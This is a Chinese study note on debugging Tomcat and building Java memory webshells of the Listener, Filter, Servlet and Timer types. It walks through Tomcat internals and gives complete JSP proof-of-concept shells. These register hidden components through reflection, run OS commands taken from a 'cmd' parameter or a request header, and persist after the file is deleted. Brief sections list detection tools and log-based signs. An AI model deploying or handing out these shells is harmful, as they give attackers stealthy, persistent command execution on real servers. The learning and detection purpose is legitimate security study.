debug Tomcat
IDEA创建Maven项目,jdk选1.8
准备装的版本Index of /dist/tomcat/tomcat-8/v8.5.21 (apache.org) 下载其中src.zip
和bin
下的zip
[[Media/31ded6d23464115715a41160339cc9d5_MD5.jpeg|Open: Pasted image 20240610002812.png]] 这两个
- 将src下的
conf
和webapps
放到创建的项目根目录(与src
同目录 - 把源码
java
和modules
放到所建Maven项目的src/main
下 - 将二进制包(压好的)解压,其中的lib放在项目根目录,并在
项目结构/模块
中添加lib中的所有jar
在右上角的运行配置中添加启动Tomcat的配置 [[Media/5543f8f97cdf9f8ba755fbaa5244bbcf_MD5.jpeg|Open: Pasted image 20240622115328.png]] org.apache.catalina.startup.Bootstrap
最终成功启动 Apache Tomcat/8.5.21 [[Media/93525745f0becbc03ea2cfb05e00e88b_MD5.jpeg|Open: Pasted image 20240622120157.png]]
接下来就可以打点调试了
Tomcat安全
Tomcat 内存🐎
众所周知,当你访问一个Tomcat服务时,Tomcat组件内的Listener会先执行:
- ServletContext,服务器启动和终止时触发
- Session,有关Session操作时触发
- Request,访问服务时触发 使用了IDEA中配置tomcat和servlet(保姆式教程)_idea部署tomcat servlet-CSDN博客 来配置
Listener型
构造🐎
恶意Listener
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
public class TestListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("destroy TestListener");
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("initial TestListener");
}
}
引用恶意Listener
<listener>
<listener-class>TestListener</listener-class>
</listener>
[[Media/9797f259fc9730fdb2fc8b3418d05aad_MD5.jpeg|Open: QQ_1721466606940.png]] 运行Tomcat得到结果 [[Media/7f08c1a7ca160f7df94a68d6aba6cdcd_MD5.jpeg|Open: QQ_1721230172534.png]]
于是简单的Listener内存马便是注册恶意的java类,当Listener执行时触发,其中Request最方便被触发
Web应用程序启动时,Tomcat会创建一个ServletContext(也称为应用上下文),此时会触发ServletContextListener
的contextInitialized
方法。这个Listener会在Web应用中的任何Servlet被初始化之前执行。同样地,当Web应用停止时,会触发contextDestroyed
方法。
通过继承EvenListener
来实现接口,构造恶意类
另一种引入Listener的方式
LifecycleListener
: 实现了LifecycleListener
接口的监听器一般作用于tomcat初始化启动阶段,此时客户端的请求还没进入解析阶段,不适合用于内存马 Tomcat 内存马(一)Listener型 - Atomovo - 博客园 (cnblogs.com)
[[Media/129c88fe1e936d88ca5e1fb9cc4fc16e_MD5.jpeg|Open: QQ_1721232552399.png]] 关于ServletRequestListener
:
用于接收有关请求进入和离开网络应用程序作用域的通知事件的接口。 ServletRequest 的定义是:当它即将进入网络应用程序的第一个 servlet 或过滤器时,即进入了网络应用程序的作用域;当它退出链中的最后一个 servlet 或第一个过滤器时,即离开了作用域。 为了接收这些通知事件,必须在网络应用程序的部署描述符中声明实现类,用 javax.servlet.annotation.WebListener 进行注解,或通过 ServletContext 上定义的 addListener 方法之一进行注册。 该接口的实现会按声明的顺序在 requestInitialized 方法中调用,并按相反顺序在 requestDestroyed 方法中调用。
只要请求访问服务(无论什么资源)便会被触发,非常好的入口点
注册🐎
那么怎么把🐎儿放到靶机上呢? 在输出initial TestListener
的地方打断点 [[Media/03510c93c151cbfd52573dae89a1d745_MD5.jpeg|Open: QQ_1721467719277.png]]
发现 调用Listener
的名字被赋给了instances
的第一项中 跳转到instances
的源代码 [[Media/cb831ca7ac2ddf1da27061a043e7b68e_MD5.jpeg|Open: QQ_1721468170589.png]] 发现是由getApplicationEventListeners()
执行这一操作,Ctrl
+点击查看方法,发现返回了applicationEventListenersList.toArray()
在下面(1283)的aadApplicationEventListeners
中,我们的恶意listener被添加
public void addApplicationEventListener(Object listener) {
applicationEventListenersList.add(listener);
}
所以我们只要执行该方法就可以将任意Listener注册 JSP概述——什么是JSP、JSP运行原理_jsp简介及工作原理-CSDN博客 jsp作为动态网页,可以运行java代码
在jsp中实现🐎
获得StandardContext
对象 i chi
<% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); %>
ni
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
目前可公开的🐎(bushi
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%!
//定义新Listener
public class MyListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
//网页shell实现
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}
public void requestInitialized(ServletRequestEvent sre) {}
}
%>
<%
//使用了第一个方法获取StandardContext对象
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
MyListener listenerDemo = new MyListener();
context.addApplicationEventListener(listenerDemo);
//可以看到调用了addApplicationEventListener
%>
存在内存🐎的jsp就算被删除也依然可用
当Listener被注册到Servlet容器(如Tomcat)时,它会持续运行,直到应用被停止或服务器重启。 Servlet容器(如Tomcat)通常设计为长期运行的服务,不会因为Web应用的某个文件被修改或删除而重启。只有当应用被完全停止或服务器本身重启时,所有相关的Listener和其他Servlet组件才会被销毁。
排除🐎
- 看日志
- 存在空网页但返回200
- 大量请求不同url但带有相同的参数
- 较多的404但是带有参数的请求 …
Filter型
构造🐎
package com.orxiain;
import javax.servlet.*;
import java.io.IOException;
public class MyFilter implements Filter{
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始构造完成");
}
//当web程序启动时,该方法调用一次
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("执行了过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
}
xml修改
<filter>
<filter-name>MyFilter</filter-name>
<!--指定filter名字-->
<filter-class>com.orxiain.MyFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>MyFilter</filter-name>
<!--引用filter名称-->
<url-pattern>/filter</url-pattern>
<!--指定过滤器应该拦截的URL模式。这里设置为`/filter`,意味着所有匹配`/filter`的请求都会被`TestFilter`过滤器拦截处理-->
</filter-mapping>
访问 http://127.0.0.1:8080/filter 后得到 [[Media/0250ab66a07bdcc6cbd728909a528940_MD5.jpeg|Open: QQ_1721563519103.png]]
调用🐎
在doFilter
处打断点,浏览器访问/filter
后查看调用链 [[Media/9b83262ef8bffe6453fa0f0e82dbc146_MD5.jpeg|Open: QQ_1721564518206.png]] 查看ApplicationFilterChain/internalDoFilter
方法
当请求进入 Tomcat 并且与某个 URL 模式匹配时,对应的过滤器链会被激活
所有过滤器都被执行完毕后,再调用Servlet的service方法
接下来具体看看这个方法内容
[[Media/c9f803f87ee920bdc71f33e377eb5285_MD5.jpeg|Open: QQ_1721564716763.png]] 做了个查看安全管理器是否打开的判断
这里用来判断是否还有过滤器没采用 pos的值指向不同的filter 这里的filterconfig中含有我们新建的Filter类 [[Media/1e2976fd90ce2969c8499a13892fe9bd_MD5.jpeg|Open: QQ_1721566416147.png]] 此时存在两个Filter
当两个filter都执行完毕,便用servlet.service(request, response);
来处理请求,调用servlet实例
接下来看filter是如何被创建的 在dofilter()之前,程序进行了一连串的invoke操作 [[Media/289fdb3139055e2dad1ff0b7b6385e1a_MD5.jpeg|Open: QQ_1721571176171.png]]
StandardEngineValue
的invoke方法获取了pipeline,启动了针对特定Host
的请求处理流程,我们步入跟随发现该invoke事实上又指定运行到了AbstractAccessLogValue
中的invoke方法AbstractAccessLogValue
的invoke调用的其实也是接下来ErrorRepotValue
中的invoke,之后就是一连串的invoke方法调用
为了看清楚最后dofilter前的invoke做了什么,我们在StandardEngineValue
的invoke处打断点(或者更前面的invoke也行
跟进StandardEngineValue
发现 [[Media/c033945c8b417ba9724eefe6c47236f6_MD5.jpeg|Open: QQ_1721573606937.png]] 步入跟入到ApplicationFilterFactory
,createFilterChain
方法,主要作用是创建一个新的ApplicationFilterFactory
实例 将与URL匹配的filter添加进去,之后用来调用 这里URL匹配是通过matchFiltersURL
实现 [[Media/dd2823e8f7b8f493e1587135595300ec_MD5.jpeg|Open: QQ_1721574493412.png]] 同时查看了Filtermaps
是否匹配
FilterMap
的主要目的是在 Web 应用程序的web.xml
文件中定义过滤器与特定请求之间的关联 就是我们定义在web.xml中的内容
最后判断了filterconfig
是否为空,若为空则执行addFilter
方法,将filter添加进去 [[Media/ffd09e6fb0c1aa3eeb1b398f7c2068b1_MD5.jpeg|Open: QQ_1721575450411.png]]
可以看到运行后filterchain
中filters
的值0
便是我们自己创建的MyFilter
[[Media/4bc954eb3dfbd1a5dbc2253eb2a4f51c_MD5.jpeg|Open: QQ_1721574435529.png]]
至此,我们摸清了filter是如何被添加并执行的
利用链上🐎
来自Tomcat Filter 型内存马流程理解与手写 EXP - FreeBuf网络安全行业门户这里用来解释和复现
StandardContext
这个类是一个容器类,它负责存储整个 Web 应用程序的数据和对象,并加载了 web.xml 中配置的多个 Servlet、Filter 对象以及它们的映射关系。
filterConfig
和filterMaps
都是通过StandardContext
得到的
根据上面流程我们只需要设置filterMaps、filterConfigs、filterDefs就可以注入恶意的filter
- filterMaps:一个HashMap对象,包含过滤器名字和URL映射
- filterDefs:一个HashMap对象,过滤器名字和过滤器实例的映射
- filterConfigs变量:一个ApplicationFilterConfig对象,里面存放了filterDefs
Maps :Java 中的一个接口,它代表了一个键值对的集合,通过反射获取到Map后便可进行添加、修改和删除Filter的操作 Java反射—Field类使用 - 简书 (jianshu.com)
首先我们需要通过反射获取到StandardContext
ServletContext servletContext = request.getSession().getServletContext();
//通过当前会话获得到ServletContext对象
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true);
//获取ServletContent的字段,并设置其为可访问的
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
//获取applicationContext对象
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true);
// 同上,获取applicationContext的字段,并设置访问权限
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
//得到standardContext的对象
String FilterName = "cmd_Filter";
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
//通过反射获取filterConfigs字段
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);
//通过反射获取standardContext中的filterConfigs的Map
setAccessible方法。是Field继承自AccessibleObject类,AccessibleObject是Field、Method、Constuctor类的父类。简单理解意思就是 如果类型是private修饰的,你不可以直接访问,就需要设置访问权限为true.如果是public则不需要设置。
接下来定义一个filter,用以执行命令并回显
Filter filter = new Filter()
{@
Override public void init(FilterConfig filterConfig) throws ServletException
{}@
Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException
{
HttpServletRequest req = (HttpServletRequest) servletRequest;
if(req.getParameter("cmd") != null)
{
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream(); // Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } };
设置filterdef与fitermap
//反射获取 FilterDef,设置 filter 名等参数后,调用 addFilterDef 将 FilterDef 添加
Class <? > FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
//<? >表示FilterDef将持有任何类型的变量
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
//Constructor类表示类的构造函数,通过getDeclaredConstructor()方法获取FilterDef的构造函数并传递给declaredConstructors
FilterDef o = (FilterDef) declaredConstructors.newInstance();
//创建了一个新的FilterDef实例o
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//反射获取 FilterMap 并且设置拦截路径,并调用 addFilterMapBefore 将 FilterMap 添加进去
Class <? > FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor <? > declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap) declaredConstructor.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);
创建FilterConfig
Class <? > ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
//反射获取FilterConfig类
Constructor <? > declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class, FilterDef.class);
//获得filterconfig的构造函数,传入了两个Context和FilterDef的class对象
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext, o);
filterConfigs.put(FilterName, filterConfig);
response.getWriter().write("Success");
结合以上并写成jsp文件
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%
final String name = "orxiain";
// 获取上下文
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);
out.print("Inject Success !");
}
%>
<html>
<head>
<title>filter</title>
</head>
<body>
Hello Filter
</body>
</html>
这里将jsp文件放在webapps/ROOT
下,开启服务器访问 [[Media/91aabc43d9f9c22b3a600dc9291d674e_MD5.jpeg|Open: QQ_1721736509718.png]]
排除🐎
Java安全的一些工具 https://github.com/alibaba/arthas https://github.com/LandGrey/copagent https://github.com/c0ny1/java-memshell-scanner
Servlet型
构造🐎
顾名思义,Servlet型内存马是构造恶意Servlet服务进行攻击的方式 [[Media/ea1641dec71c56321daf149fa2d859a9_MD5.jpeg|Open: Pasted image 20240724080753.png]]
Servlet接口类型:
- init(ServletConfig config):Servlet 初始化函数。初始化时 ServletConfig 会被传入
- ServletConfig getServletConfig():获取 ServletConfig 对象
- service(ServletRequest req, ServletResponse res):收到请求后的执行方法
- String getServletInfo():返回此 Servlet 的描述信息
- void destroy():Servlet 的销毁方法
继承Servlet接口并在service函数处写上rce
package com.orxiain;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;
// 基础恶意类
public class ServletTest implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
web.xml
配置
<!-- Servlet定义 -->
<servlet>
<servlet-name>MyServlet</servlet-name>
<servlet-class>com.orxiain.ServletTest</servlet-class>
</servlet>
<!-- Servlet映射 -->
<servlet-mapping>
<servlet-name>MyServlet</servlet-name>
<url-pattern>/MyServlet</url-pattern>
</servlet-mapping>
访问Servlet得到 [[Media/293a82dd65667975403b689bfa0b3d33_MD5.jpeg|Open: QQ_1721780132857.png]]
调用🐎
断点下到新建的Servlet的init方法 [[Media/6b3aebdba693348ce84bb7409024193c_MD5.jpeg|Open: QQ_1721781179161.png]] (会发现Filter和Listener跑完才到Servlet)
HTTP请求预处理
直接看Http11Processor
,HTTP11Processor
是Tomcat中负责解析来自客户的http请求
断点给到799行的getAdapter().service(request, response);
request
的值是客户机访问的网页路径 继续步入CoyoteAdapter
[[Media/84870e345a5de93ba2d6b6cac83ba9e7_MD5.jpeg|Open: QQ_1721782288716.png]] Note
是一个轻量级的数据存储机制,可以在请求处理的不同阶段存储和检索数据 getNote
: 判断request是否为空,之后进行一系列赋值操作 [[Media/eeab421a8818ddcabeb55a850c117d5e_MD5.jpeg|Open: QQ_1721782598212.png]] 这里的两个布尔值:
- async:用于检查请求是否为异步,若为异步则为
true
,在异步的处理模式下CoyoteAdapter将采用其它处理路径以不阻塞主线程 - postParseSuccess:用于检查请求是否处理完成,当解析完成后标为
True
[[Media/07e91c1e1977310095c9d40289c97482_MD5.jpeg|Open: QQ_1721782938796.png]]
postParseSuccess = postParseRequest(req, request, res, response);
将postParseSuccess设为true,运行启动container 看向342行的
connector.getService().getContainer().getPipeline().getFirst().invoke(
request, response);
之后对Host进行了判断,运行一系列invoke调用,与Filter加载一样
web.xml处理
在ContextConfig
的webConfig
打断点
[[Media/92305ea02a50e60617766719ff0d3f50_MD5.jpeg|Open: QQ_1721788997163.png]] 调用webXML对象
到1325行,进行Servlet的读取 [[Media/d36a3b4a810de5c907c54132a8b64e9e_MD5.jpeg|Open: QQ_1721789911931.png]] 循环遍历web.xml中的servlet 每次遍历为servlet创建wrapper对象(即servlet运行实例
所有的servlet都储存在了wrapper中
最后在1372行context.addChild(wrapper);
将wrapper添加到StandardContext [[Media/303b1c2a521efe6c03f69696116d42aa_MD5.jpeg|Open: QQ_1721791738561.png]] 对其是否为jspservlet进行了判断 之后调用父类ContainerBase
[[Media/91d7152f99e71edb15924f6a74b58d60_MD5.jpeg|Open: QQ_1721791911021.png]] 对全局安全设置进行了判断 之后执行了下面的方法 其中的child.start();
启动了该servlet的进程
总结
- 通过
context.createWapper()
创建 Wapper 对象;- 设置 Servlet 的
LoadOnStartUp
的值;- 设置 Servlet 的 Name ;
- 设置 Servlet 对应的 Class ;
- 将 Servlet 添加到 context 的 children 中;
- 将 url 路径和 servlet 类做映射。
在 servlet 的配置当中,
<load-on-startup>1</load-on-startup>
的含义是: 标记容器是否在启动的时候就加载这个 servlet。 当值为 0 或者大于 0 时,表示容器在应用启动时就加载这个 servlet; 当是一个负数时或者没有指定时,则指示容器在该 servlet 被选择时才加载。 正数的值越小,启动该 servlet 的优先级越高。 在Tomcat中,Servlet的懒加载(lazy loading)机制是指Servlet在第一次被请求时才会被加载和初始化,而不是在Tomcat启动时就全部加载。
大致流程就是这样了,接下来考虑如何将恶意servlet添加
上🐎
获取StandardContext
类 用Context.creatWapper()
创建StandardWrapper对象 有了StandardWrapper对象后,我们可以对其Servlet属性进行修改 主要修改:loadOnStartup
,ServletName
,ServletClass
修改后添加到StandardContext的children中,之后启动进程 最后通过StandardContext.addServletMappingDecoded()
添加对应的路径映射
来自Tomcat Servlet 型内存马流程理解与手写 EXP - FreeBuf网络安全行业门户
获取StandardContext
对象
<% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); %>
通过req.getContext()
方法获取了当前请求所属的StandardContext
对象 or
<% ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context"); appContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); %>
编写恶意Servlet
<%!
public class Shell_Servlet implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
%>
}</SCRIPT></HEAD>
<BODY></BODY>
</HTML>
获取恶意Servlet的对象并通过反射得到name,通过standardContext.createWrapper()
创建wrapper对象并对其Servlet属性进行修改
<%
Shell_Servlet shell_servlet = new Shell_Servlet();
String name = shell_servlet.getClass().getSimpleName();
Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(shell_servlet);
wrapper.setServletClass(shell_servlet.getClass().getName());
%>
通过standardContext.addChild
方法将wrapper添加到children中,并添加url与Servlet的映射
<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell",name);
%>
完整poc
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>
<%!
public class Shell_Servlet implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
%>
<%
Shell_Servlet shell_servlet = new Shell_Servlet();
String name = shell_servlet.getClass().getSimpleName();
Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(shell_servlet);
wrapper.setServletClass(shell_servlet.getClass().getName());
%>
<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/servletshell",name);
%>
首先访问Servlet.jsp
,对恶意Servlet进行注册 [[Media/f355ffc637f7ad475e6620c5cb284018_MD5.jpeg|Open: QQ_1721795231232.png]] 之后 http://127.0.0.1:8080/servletshell?cmd=calc [[Media/c36787c7c6b18466cc55ea94d22c2477_MD5.jpeg|Open: QQ_1721795320591.png]]
排除🐎
Servlet类型内存马通过url进行触发,是在客户机请求的情况下,请求与响应内容更容易暴露,一般看日志就能发现
Timer型
构造🐎
来自JavaWeb 内存马二周目通关攻略 | 素十八 (su18.org)的代码
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
out.println("timer jsp shell");
java.util.Timer executeSchedule = new java.util.Timer();
executeSchedule.schedule(new java.util.TimerTask() {
public void run() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}, 0, 10000);
%>
访问一遍jsp来注入马儿 [[Media/4090d6f5716bb061a5642c20ab881d04_MD5.jpeg|Open: QQ_1722022961946.png]] ![[Media/4090d6f5716bb061a5642c20ab881d04_MD5.jpeg]] 运行后每十秒弹一个计算器,就算把Timer.jsp
删除后依然在弹
🐎の原理
ava.util.Timer executeSchedule = new java.util.Timer();
新建了一个Timer
对象 之后每10s运行一次规定任务
我们知道,JSP本质上在运行时作为Servlet扩展被Tomcat解析为Java源文件,之后进行编译,被JspServletWrapper
封装后映射将路径在JspRuntimeContext
,生成可执行的Servlet类,Timer定时任务会创建一个Timer的线程
判断文件是否删除、是否更改、是否需要重新编译等等判断信息进行相关的处理是在访问这个jsp地址时被处理的 若发现jsp发生更改 ,
JspServletWrapper
会重新封装
[[Media/978f33a6d10ebabc91d433ff02181398_MD5.jpeg|Open: QQ_1722257572511.png]] ![[Media/978f33a6d10ebabc91d433ff02181398_MD5.jpeg]] 被删除jsp文件后,Timer线程依然一直运行,所以不会触发jvm的GC机制
Timer🐎得益于使用了原生Timer类,具有很好的隐蔽性 那么那么如何使用这个方法来制造可RCE并回显的jsp文件呢? 我们知道Timer可以做到重复运行代码,那么可以让这段代码读取请求头中特定键值对中的命令并回显在网页
上🐎
<%@ page import="java.util.List" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.util.HashSet" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public static List<Object> getRequest() {
try {
Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));
for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (!threadName.contains("exec") && threadName.contains("http")) {
Object target = getField(thread, "target");
if (target instanceof Runnable) {
try {
target = getField(getField(getField(target, "this$0"), "handler"), "global");
} catch (Exception var11) {
continue;
}
List processors = (List) getField(target, "processors");
for (Object processor : processors) {
target = getField(processor, "req");
threadName = (String) target.getClass().getMethod("getHeader", String.class).invoke(target, new String("exec-cmd"));
if (threadName != null && !threadName.isEmpty()) {
Object note = target.getClass().getDeclaredMethod("getNote", int.class).invoke(target, 1);
Object req = note.getClass().getDeclaredMethod("getRequest").invoke(note);
List<Object> list = new ArrayList<Object>();
list.add(req);
list.add(threadName);
return list;
}
}
}
}
}
}
} catch (Exception ignored) {
}
return new ArrayList<Object>();
}
private static Object getField(Object object, String fieldName) throws Exception {
Field field = null;
Class clazz = object.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(fieldName);
} else {
field.setAccessible(true);
return field.get(object);
}
}
%>
<%
final HashSet<Object> set = new HashSet<Object>();
java.util.Timer executeSchedule = new java.util.Timer();
executeSchedule.schedule(new java.util.TimerTask() {
public void run() {
List<Object> list = getRequest();
if (list.size() == 2) {
if (!set.contains(list.get(0))) {
set.add(list.get(0));
try {
Runtime.getRuntime().exec(list.get(1).toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
}, 0, 100);
%>
来自于su18师傅 [[Media/4efb5206c898538c10e067f822125613_MD5.jpeg|Open: QQ_1722260892345.png]] ![[Media/4efb5206c898538c10e067f822125613_MD5.jpeg]] 这样用 关于复现很奇怪,发包10几次才有一次正常弹出计算器,目前不知道是哪儿的问题,不过反弹shell、反序列化是够了
Exeutor型
有点难。。正在研究
Links
参考 & 高质量 & 工具
Tomcat 内存马(一)Listener型 - Atomovo - 博客园 (cnblogs.com) Tomcat Filter 型内存马流程理解与手写 EXP - FreeBuf网络安全行业门户 Tomcat 内存马学习(一):Filter型 – 天下大木头 (wjlshare.com) Context琐事 | fynch3r的小窝 Java安全学习——内存马 - 枫のBlog (goodapple.top) JavaWeb 内存马二周目通关攻略 | 素十八 (su18.org) https://github.com/c0ny1/java-object-searcher Java内存马3:内存马查杀 - Java | 如月专注 (ruyueattention.github.io) 绕过检测之Executor内存马浅析(内存马系列篇五) - FreeBuf网络安全行业门户